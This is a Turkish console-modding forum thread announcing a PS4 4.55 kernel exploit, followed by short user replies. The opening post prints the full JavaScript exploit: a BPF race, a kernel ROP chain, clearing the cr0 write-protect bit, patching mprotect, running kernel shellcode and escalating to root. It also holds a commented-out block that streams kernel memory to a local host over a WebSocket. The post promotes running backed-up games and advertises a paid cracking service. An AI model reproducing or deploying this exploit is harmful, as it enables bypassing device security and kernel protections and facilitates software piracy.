Close

ETİKETLENEN KULLANICILAR LİSTESİ

Toplam 5 adet sonuctan sayfa basi 1 ile 5 arasi kadar sonuc gösteriliyor
  1. #1
    Status
    Offline
    mctunax - ait Kullanıcı Resmi (Avatar)
    mctunax

    WWW.MCPS4.COM
    Üyelik tarihi
    Mar 2008
    Mesajlar
    8.387
    Ettiği Teşekkür
    2.119
    Aldığı Teşekkür
    38.854
    Blog Entries
    3
    Dedikoduları
    299 Post(s)
    Etiketlenmeleri
    11 Thread(s)

    PS4 4.55 Kernel Exploit Qwertyoruiop Çıktı

    PS4 4.55 Kernel Exploit Qwertyoruiop Çıktı



    PS4 4.05 versionun kırılmasının ardından çok fazla zaman geçmeden PS4 4.55 version için Kernel Exploit yayımlandı

    Kod:
    function stage4_()
    {
        function malloc(sz)
        {
            var backing = new Uint8Array(1000+sz);
            window.nogc.push(backing);
            var ptr = p.read8(p.leakval(backing).add32(0x10));
            ptr.backing = backing;
            return ptr;
        }
        function malloc32(sz)
        {
            var backing = new Uint8Array(0x1000+sz*4);
            window.nogc.push(backing);
            var ptr = p.read8(p.leakval(backing).add32(0x10));
            ptr.backing = new Uint32Array(backing.buffer);
            return ptr;
        }
        var strcpy_helper = new Uint8Array(0x1000);
        var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
        function strcpy(ptr, str)
        {
            p.write8(where_writeptr_strcpy, ptr);
            for (var i = 0; i < str.length; i++)
                strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
            strcpy_helper[str.length] = 0;
        }
     
     
        var sysctlbyname = window.libKernelBase.add32(0xF290);
        var sysreq = malloc32(0x10);
        sysreq.backing[0] = 7;
        sysreq.backing[1] = 0;
        sysreq.backing[4] = 0x10;
     
        var retv = malloc(0x100);
        var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
     
     
        var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
     
        var str = "";
        for (var i=0; i<0x10; i++)
        {
            str += zeroFill(retv.backing[i].toString(16),2) + " ";
        }
     
       // log("psid: " + str)
     
        var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
        var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
        if (fd == (-1 >>> 0))
        {
            print("kexp failed: no bpf0");
        }
    //    print("fd: " + fd);
     
        var scratch = malloc(0x100);
        var ifname = malloc(0x10);
        strcpy(ifname, "wlan0");
        p.syscall("ioctl", fd, 0x8020426c, ifname);
        var ret = p.syscall("write", fd, scratch, 40);
        if (ret.low == (-1 >>> 0))
        {
            strcpy(ifname, "eth0");
            p.syscall("ioctl", fd, 0x8020426c, ifname);
            var ret = p.syscall("write", fd, scratch, 40);
            if (ret.low == (-1 >>> 0))
            {
                throw "kexp failed :(";
            }
        }
     
        var assertcnt = 0;
        var assert = function(x)
        {
            assertcnt++;
            if (!x) throw "assertion " + assertcnt + " failed";
        }
    
        print("got it");
     
        var bpf_valid = malloc32(0x4000);
        var bpf_valid_u32 = bpf_valid.backing;
        var bpf_valid_prog = malloc(0x40);
        p.write8(bpf_valid_prog, 64)
        p.write8(bpf_valid_prog.add32(8), bpf_valid)
     
        for (var i = 0 ; i < 0x4000; )
        {
            bpf_valid_u32[i++] = 6; // BPF_RET
            bpf_valid_u32[i++] = 0;
        }
     
        var bpf_invalid = malloc32(0x4000);
        var bpf_invalid_u32 = bpf_invalid.backing;
        var bpf_invalid_prog = malloc(0x40);
        p.write8(bpf_invalid_prog, 64)
        p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
     
        for (var i = 0 ; i < 0x4000; )
        {
            bpf_invalid_u32[i++] = 4; // NOP
            bpf_invalid_u32[i++] = 0;
        }
     
        var push_bpf = function(bpfbuf, cmd, k)
        {
            var i = bpfbuf.i;
            if (!i) i=0;
            bpfbuf[i*2] = cmd;
            bpfbuf[i*2+1] = k;
            bpfbuf.i = i+1;
        }
     
        push_bpf(bpf_invalid_u32, 5, 2); // jump
        push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
        bpf_invalid_u32.i = 16;
    
        var bpf_write8imm = function(bpf, offset, imm)
        {
            if (!(imm instanceof int64))
            {
                imm = new int64(imm,0);
            }
            push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
            push_bpf(bpf, 2, offset); // BPF_ST
            push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
            push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
        }
     
        var bpf_copy8 = function(bpf, offset_to, offset_from)
        {
            push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
            push_bpf(bpf, 2, offset_to); // BPF_ST
            push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
            push_bpf(bpf, 2, offset_to+1); // BPF_ST
        }
        var bpf_add4 = function(bpf, offset, val)
        {
            push_bpf(bpf, 0x60, offset); // BPF_LD
            push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
            push_bpf(bpf, 2, offset); // BPF_ST
        }
     
     
     
        var krop_off_init = 0x1e;
        var krop_off = krop_off_init;
        var reset_krop = function() {
            krop_off = krop_off_init;
            bpf_invalid_u32.i = 16;
        }
        var push_krop = function(value)
        {
            bpf_write8imm(bpf_invalid_u32, krop_off, value);
            krop_off += 2;
        }
        var push_krop_fromoff = function(value)
        {
            bpf_copy8(bpf_invalid_u32, krop_off, value);
            krop_off += 2;
        }
        var finalize_krop = function(retv)
        {
            if(!retv) retv = 5;
            push_bpf(bpf_invalid_u32, 6, retv); // return 5
        }
    
        var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
        assert(rtv.low == 0);
     
        rtv = p.syscall("write", fd, scratch, 40);
        assert(rtv.low == (-1 >>> 0));
     
        var kscratch = malloc32(0x80);
     
        var kchain = new window.RopChain();
     
        kchain.clear();
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.webKitBase.add32(0x3EBD0));
    
        reset_krop();
        //push_krop(window.gadgets["infloop"]); // 8
        bpf_copy8(bpf_invalid_u32, 0, 0x1e);
        push_krop(window.gadgets["pop rsi"]); // 0x10
        push_krop_fromoff(0);
        push_krop(window.gadgets["pop rsp"]);
        push_krop(kchain.ropframeptr); // 8
    
        finalize_krop(0);
     
        var spawnthread = function(chain) {
        
            /*
         
         
             seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
             seg000:00000000007FA7D0 55                                      push    rbp
             seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
             seg000:00000000007FA7D4 41 56                                   push    r14
             seg000:00000000007FA7D6 53                                      push    rbx
             seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
             seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
             seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
         
         
             -> xref of sub_7FA7D0:
         
         
             seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
             seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
             seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
             seg000:00000000007F8395 31 F6                                   xor     esi, esi
             seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
             seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
             seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
             seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
         
             -> code:
         
             m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
         
         
             decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
         
             decodingFailed -> contains longjmp (which we want)
         
             seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
             seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
             seg000:00000000007FA710 55                                      push    rbp
             seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
             seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
             seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
             seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
             seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
             seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
             seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
             seg000:00000000007FA732 0F 0B                                   ud2
             seg000:00000000007FA732                         sub_7FA710      endp
         
         
             */
            var longjmp = webKitBase.add32(0x1458);
        
        
            // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
            /*
             seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
             seg000:00000000001DD186 31 F6                                   xor     esi, esi
             seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40 < createThread
             */
        
            var createThread = window.webKitBase.add32(0x116ED40);
        
            var contextp = malloc32(0x2000);
            var contextz = contextp.backing;
            contextz[0] = 1337;
        
            var thread2 = new RopChain();
            thread2.clear();
            thread2.push(window.gadgets["ret"]); // nop
            thread2.push(window.gadgets["ret"]); // nop
            thread2.push(window.gadgets["ret"]); // nop
            thread2.push(window.gadgets["ret"]); // nop
            chain(thread2);
        
            p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
            p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
        
            p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
        
            window.nogc.push(contextz);
            window.nogc.push(thread2);
        
            return thread2;
        }
     
        var interrupt1 = 0;
        var interrupt2 = 0;
        // ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
        spawnthread(function(thread2){
                    interrupt1 = thread2.ropframeptr;
                    thread2.push(window.gadgets["pop rdi"]); // pop rdi
                    thread2.push(fd); // what
                    thread2.push(window.gadgets["pop rsi"]); // pop rsi
                    thread2.push(0x8010427B); // what
                    thread2.push(window.gadgets["pop rdx"]); // pop rdx
                    thread2.push(bpf_valid_prog); // what
                    thread2.push(window.gadgets["pop rsp"]); // pop rdx
                    thread2.push(thread2.ropframeptr.add32(0x800)); // what
                    thread2.count = 0x100;
                    var cntr = thread2.count;
                    thread2.push(window.syscalls[54]); // ioctl
                    thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
                
                    thread2.push(window.gadgets["pop rsp"]); // pop rdx
                    thread2.push(thread2.ropframeptr); // what
                    })
     
        // ioctl() with invalid BPF program -> this will be executed when triggering bug
        spawnthread(function(thread2){
                    interrupt2 = thread2.ropframeptr;
                    thread2.push(window.gadgets["pop rdi"]); // pop rdi
                    thread2.push(fd1); // what
                    thread2.push(window.gadgets["pop rsi"]); // pop rsi
                    thread2.push(0x8010427B); // what
                    thread2.push(window.gadgets["pop rdx"]); // pop rdx
                    thread2.push(bpf_invalid_prog); // what
                    thread2.push(window.gadgets["pop rsp"]); // pop rdx
                    thread2.push(thread2.ropframeptr.add32(0x800)); // what
                    thread2.count = 0x100;
                    var cntr = thread2.count;
                    thread2.push(window.syscalls[54]); // ioctl
                    thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
                
                    thread2.push(window.gadgets["pop rsp"]); // pop rdx
                    thread2.push(thread2.ropframeptr); // what
                    })
    
        function kernel_rop_run(cb)
        {
            kchain.clear();
            kchain.push(window.gadgets["ret"]);
            kchain.push(window.gadgets["ret"]);
            kchain.push(window.gadgets["ret"]);
            kchain.push(window.gadgets["ret"]);
            kchain.push(window.gadgets["ret"]);
            kchain.push(window.gadgets["ret"]);
            cb(kchain);
            kchain.push(window.gadgets["pop rax"]);
            kchain.push(0);
            kchain.push(window.gadgets["ret"]);
            kchain.push(window.webKitBase.add32(0x3EBD0));
            while(1)
            {
                if (p.syscall(4, fd, scratch, 40).low == 40)
                {
                    return p.read8(kscratch);
                    break;
                }
            }
        }
        function leak_kern_rip() {
            return kernel_rop_run(function(kchain)
                                  {
                                  kchain.push(window.gadgets["pop rdi"]);
                                  kchain.push(kscratch);
                                  kchain.push(window.gadgets["mov [rdi], rsi"]);
                                  });
        }
     
        function kernel_read8(addr) {
            return kernel_rop_run(function(kchain)
                                  {
                                  kchain.push(window.gadgets["pop rdi"]);
                                  kchain.push(addr);
                                  kchain.push(window.webKitBase.add32(0x13A220)); // deref
                                  kchain.push(window.gadgets["pop rdi"]);
                                  kchain.push(kscratch);
                                  kchain.push(window.gadgets["mov [rdi], rax"]);
                                  });
        }
        function kernel_memcpy(to,from,size) {
            return kernel_rop_run(function(kchain)
                                  {
                                  kchain.push(window.gadgets["pop rdi"]);
                                  kchain.push(to);
                                  kchain.push(window.gadgets["pop rsi"]);
                                  kchain.push(from);
                                  kchain.push(window.gadgets["pop rdx"]);
                                  kchain.push(size);
                                  kchain.push(window.gadgets["memcpy"]);
                                  kchain.push(window.gadgets["mov [rdi], rax"]);
                                  });
        }
        var kern_base = leak_kern_rip();
        kern_base.low &= 0xffffc000;
        kern_base.low -= 0x164000;
        log("ay! " + kernel_read8(kern_base) + " " + kern_base);
     
        /*
        var chunksz = 0x40000;
        var pagebuf = malloc(chunksz);
     
        connection = new WebSocket('ws://192.168.0.125:8080');
        connection.binaryType = "arraybuffer";
        connection.onmessage = function() {
            try {
                kernel_memcpy(pagebuf, kern_base, chunksz);
                connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
                kern_base.add32inplace(chunksz);
            }catch(e) {log(e);}
        }
     
     
         LOAD:FFFFFFFF9144CF70 0F 20 C0                                mov     rax, cr0
         LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00                       or      rax, 5002Ah
         LOAD:FFFFFFFF9144CF79 0F 22 C0                                mov     cr0, rax
         LOAD:FFFFFFFF9144CF7C C3                                      retn
         FFFFFFFF91562A58
         */
        var getset_cr0 = kern_base.add32(0x280f70);
        var set_cr0 = kern_base.add32(0x280f79);
     
        function kernel_get_cr0() {
            return kernel_rop_run(function(kchain)
                                  {
                                  kchain.push(getset_cr0);
                                  kchain.push(window.gadgets["pop rdi"]);
                                  kchain.push(kscratch);
                                  kchain.push(window.gadgets["mov [rdi], rax"]);
                                  });
        }
    
        var cr0val = kernel_get_cr0();
        cr0val.low &= ((~(1 << 16)) >>> 0);
        log("cr0: " + cr0val);
        function kernel_write8_cr0(addr, val) {
            return kernel_rop_run(function(kchain)
                                  {
                                  kchain.push(window.gadgets["pop rax"]);
                                  kchain.push(cr0val);
                                  kchain.push(set_cr0);
                                  kchain.push(window.gadgets["pop rdi"]);
                                  kchain.push(addr);
                                  kchain.push(window.gadgets["pop rax"]);
                                  kchain.push(val);
                                  kchain.push(window.gadgets["mov [rdi], rax"]);
                                  kchain.push(getset_cr0);
                                  });
        }
        function kernel_fcall(addr, arg0, arg1) {
            return kernel_rop_run(function(kchain)
                                  {
                                  if(arg0)
                                  {
                                        kchain.push(window.gadgets["pop rdi"]);
                                        kchain.push(arg0);
                                  }
                                  if(arg1)
                                  {
                                        kchain.push(window.gadgets["pop rsi"]);
                                        kchain.push(arg1);
                                  }
                                  kchain.push(addr);
                              
                                  kchain.push(window.gadgets["pop rdi"]);
                                  kchain.push(kscratch);
                                  kchain.push(window.gadgets["mov [rdi], rax"]);
                                  });
        }
     
        var mprotect_patchloc = kern_base.add32(0x396a58);
        var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
        var mprotect_realbytes = mprotect_patchbytes;
     
        log("patchbytes: " + mprotect_patchbytes);
        mprotect_patchbytes.low = 0x90909090;
        mprotect_patchbytes.hi &= 0xffff0000;
        mprotect_patchbytes.hi |= 0x00009090;
     
     
        var shellsize = window.shellcode.byteLength;
        shellsize += 0x4000;
        shellsize &= 0xffffc000;
     
        var shellscratch_to = malloc32((0x10000 + shellsize)/4);
     
        var origin_to = shellscratch_to.low;
        shellscratch_to.low &= 0xffffc000;
        shellscratch_to.low += 0x8000;
        var offset = (shellscratch_to.low - origin_to) / 4;
     
        for (var i=0; i < window.shellcode.length; i++)
        {
            shellscratch_to.backing[i+offset] = window.shellcode[i];
        }
     
     
        kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
        var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
        kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
        if (mapz.low != 0) throw "mprot fail!";
    
        faultme = shellscratch_to.add32(0x0);
    
        for (var i=0; i < window.shellcode.length; i+= 0x1000)
        {
            var bck = p.read8(faultme);
            p.write8(faultme, 0xc3)
            p.fcall(faultme); // test faulting
            p.write8(faultme, bck)
        }
        p.syscall("mlock", shellscratch_to, shellsize);
        var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));
    
        var zarguments = malloc32(0x1000);
        p.write8(zarguments, kern_base);
        p.write8(zarguments.add32(8), fd_kcall);
        p.write8(zarguments.add32(16), interrupt1);
        p.write8(zarguments.add32(24), interrupt2);
        p.write8(zarguments.add32(32), window.syscalls[431]);
        p.write8(zarguments.add32(40), window.syscalls[591]);
        p.write8(zarguments.add32(48), window.syscalls[594]);
        p.write8(zarguments.add32(56), pyld_buf); // pyld
        p.write8(zarguments.add32(64), window.pyldpoint);
        p.write8(zarguments.add32(72), window.pyld.byteLength);
    
        var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    
        log(p.read8(shellscratch_to.add32(window.entrypoint)));
        log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
        p.syscall("setuid", 0);
        log("uid: " + p.syscall("getuid"));
        alert("enter user");
        log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));
    
        var lsscrtch32 = new Uint32Array(0x400);
        var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
        window.ls = function(path)
        {
            var sep = "/"
            if (path[path.length-1]=="/") sep = "";
        
            var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
            if (fd == (-1 >>> 0))
            {
                print("open("+path+"): -1");
                return;
            }
        
            alert("getdenv");
        
            print("Directory listing for " +path+":");
            var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
            if (total == (-1 >>> 0))
            {
                print("getdents("+path+"): -1");
                return;
            }
        
            alert("got denv");
        
            var offset = 0;
            while (offset < total)
            {
                var cur = lsscrtch.add32(offset);
                var reclen = p.read4(cur.add32(4)) & 0xFFFF;
                var filepath = path + sep + p.readstr(cur.add32(8));
                print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
                offset += reclen;
                if(!reclen) break;
            }
            p.syscall("close", fd);
        }
        print("<a href=javascript:window.ls('/');>ls /</a>");
    
    }
    PS4 Kernel Exploit yayımlanmasının ardından PS4 4.55 sahipleride bu güzel haber sayesinde konsollarında yedeklenmiş oyunlarını oynayabilecekler

    PS4 4.55 Kernel Exploit yayımlanması ile Nioh, Nier, Hitman ve Persone 5 oyunlarıda oynanabilecek

    PS4 Pro modellerinde de yedeklenmiş oyunlar oynanabilecek tabi bu şimdilik 4.55 version dan daha yüksek konsollar için geçerli değil

    Önümüzdeki zaman içerisinde PS4 yüksek sürümlerde 4.55 üzeri ve 5.05 version için durum ne olur bilinmez fakat gelişmeler oldukça güzel

    Haberin kaynağı aşağıdaki bağlantıdadır

    [Linkleri Sadece Kayıtlı Üyeler Görebilir. Üye Olmak için Tiklayın]
    Konu Bilgileri

    Tüm forumdan rastgele konular:

    • » Golden Axe Remake
    • » Youtube Acıldı
    • » Pile Up Bakery [Minis]
    • » 3.55 CFW PSN Erişimi Durduruldu
    • » Quake 2 Psx/Psp
    • » PS3 Dev Oyun Koleksiyonu - TEK LİNK -...
    • » Satılık PSP Go! (16 GB) Kopya Oyunlu +...
    • » TWISTED METAL: Head-On [PSP] [MULTI 5]...
    • » Psn Home Sorunu
    • » NBA Jam On Fire Edition Xbox360 (XBLA)

    Aynı kategoriden rastgele konular:

    • » Ps4 tede xbox ta oldugu gibi korsan...
    • » Ps4 4.05 Jailbreak bu hafta çıkabilir
    • » PS4 Jailbreak 1.75 OFW - Söylenti
    • » PlayStation 4’ün kırıldığı iddia...
    • » ELF Patcher - PS4 4.05 Üstü Oyunlar...
    • » PS4 1.76 Jailbreak Oyun Çalıştırma...
    • » PS4 Kırma İşlemi Son Aşamada!
    • » PS4 5.50 Spoofer Çıktı 4.55 Firmware...
    • » PS4 Oyun Backup Dosyaları Paylaşıldı
    • » PS4 5.50 WebKit (Userland) Exploit...

    MCTUNA ADRES ve İLETİŞİM BİLGİLERİ HEMEN AŞAĞIDADIR

    PERPA TİCARET MERKEZİ 13.KAT MAVİ AVLU B BLOK NO: 2391 OKMEYDANI İSTANBUL

    GSM: 0553-618-70-70 + WHATSAPP


    PS4 KIRDIRMAK İÇİN TIKLAYINIZ

    PS4 OYUN YÜKLETMEK İÇİN TIKLAYINIZ

    KIRIK PS4 SATIN ALMAK İÇİN TIKLAYINIZ

    PS3 KIRDIRMAK İÇİN TIKLAYINIZ

    PS3 OYUN YÜKLETMEK İÇİN TIKLAYINIZ





  2. mctunax üyemize teşekkür edenler:
    nate86 (02-27-2018)

  3. #2
    Status
    Offline
    excitir06_84 - ait Kullanıcı Resmi (Avatar)
    Kayıtlı Üye
    Üyelik tarihi
    Aug 2009
    Mesajlar
    317
    Ettiği Teşekkür
    50
    Aldığı Teşekkür
    201
    Dedikoduları
    3 Post(s)
    Etiketlenmeleri
    0 Thread(s)
    Yavaş yavaş yukarı tırmanmaya başladı hadi gayret 5.05

  4. #3
    Status
    Offline
    nate86 - ait Kullanıcı Resmi (Avatar)
    Kayıtlı Üye
    Üyelik tarihi
    Dec 2017
    Mesajlar
    103
    Ettiği Teşekkür
    82
    Aldığı Teşekkür
    24
    Dedikoduları
    3 Post(s)
    Etiketlenmeleri
    0 Thread(s)
    güzel gelişmeler oluyor fakat en nihayetinde debug mod kalıcı değil ve çalıştırılan uygulamalar da sınırlı ama hiç yoktan iyi neyse umarım bütün bu gelişmeler cfw önünü açar

  5. #4
    Status
    Offline
    tkk123456789 - ait Kullanıcı Resmi (Avatar)
    Kayıtlı Üye
    Üyelik tarihi
    Jul 2017
    Mesajlar
    24
    Ettiği Teşekkür
    6
    Aldığı Teşekkür
    2
    Dedikoduları
    0 Post(s)
    Etiketlenmeleri
    0 Thread(s)
    bugun PS4 5.01 WebKit Exploit yayinlandi 5.05 de calisiyormus ben daha denemedim bnde pro var 5.05 cihaza birsey olmasin diye deneyen arkadaslar var sitede bir bakarmisiniz tuna bey

  6. #5
    Status
    Offline
    mctunax - ait Kullanıcı Resmi (Avatar)
    mctunax

    WWW.MCPS4.COM
    Üyelik tarihi
    Mar 2008
    Mesajlar
    8.387
    Ettiği Teşekkür
    2.119
    Aldığı Teşekkür
    38.854
    Blog Entries
    3
    Dedikoduları
    299 Post(s)
    Etiketlenmeleri
    11 Thread(s)

    Herşeyden haberimiz var sabırlı olun arkadaşlar, henüz dosyalar verilmedi 5.05 için, gelişmeleri yazacağız
    MCTUNA ADRES ve İLETİŞİM BİLGİLERİ HEMEN AŞAĞIDADIR

    PERPA TİCARET MERKEZİ 13.KAT MAVİ AVLU B BLOK NO: 2391 OKMEYDANI İSTANBUL

    GSM: 0553-618-70-70 + WHATSAPP


    PS4 KIRDIRMAK İÇİN TIKLAYINIZ

    PS4 OYUN YÜKLETMEK İÇİN TIKLAYINIZ

    KIRIK PS4 SATIN ALMAK İÇİN TIKLAYINIZ

    PS3 KIRDIRMAK İÇİN TIKLAYINIZ

    PS3 OYUN YÜKLETMEK İÇİN TIKLAYINIZ





Konu Bilgileri

Bu Konuya Gözatan Kullanıcılar

Şu anda 1 kullanıcı bu konuyu görüntülüyor. (0 kayıtlı ve 1 misafir)

Bu Konu için Etiketler

Bookmarks

Yetkileriniz

  • Konu Acma Yetkiniz Yok
  • Cevap Yazma Yetkiniz Yok
  • Eklenti Yükleme Yetkiniz Yok
  • Mesajınızı Değiştirme Yetkiniz Yok
  •